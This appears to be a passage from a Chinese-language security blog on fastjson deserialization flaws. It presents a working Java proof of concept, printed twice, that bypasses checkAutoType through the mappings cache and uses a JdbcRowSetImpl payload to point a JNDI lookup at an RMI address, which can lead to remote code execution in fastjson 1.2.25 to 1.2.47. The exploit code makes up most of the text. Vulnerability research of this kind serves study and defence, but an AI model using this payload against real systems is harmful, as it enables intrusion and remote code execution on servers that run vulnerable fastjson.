总算是修复了之前的关于字符串处理绕过黑名单的问题,但是存在之前完美在说fastjson 1.2.25
版本的第一种poc
的那个通过mappings
缓存绕过checkAutoType
的漏洞,poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; public class Main { public static void main(String[] args){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // ldap 和 rmi都可以 String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\",\"autoCommit\":true}}"; JSONObject.parse(payload); } }
fastjson 1.2.47 mappings缓存导致反序列化漏洞 poc同上
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; public class Main { public static void main(String[] args){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // ldap 和 rmi都可以 String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\",\"autoCommit\":true}}"; JSONObject.parse(payload); } }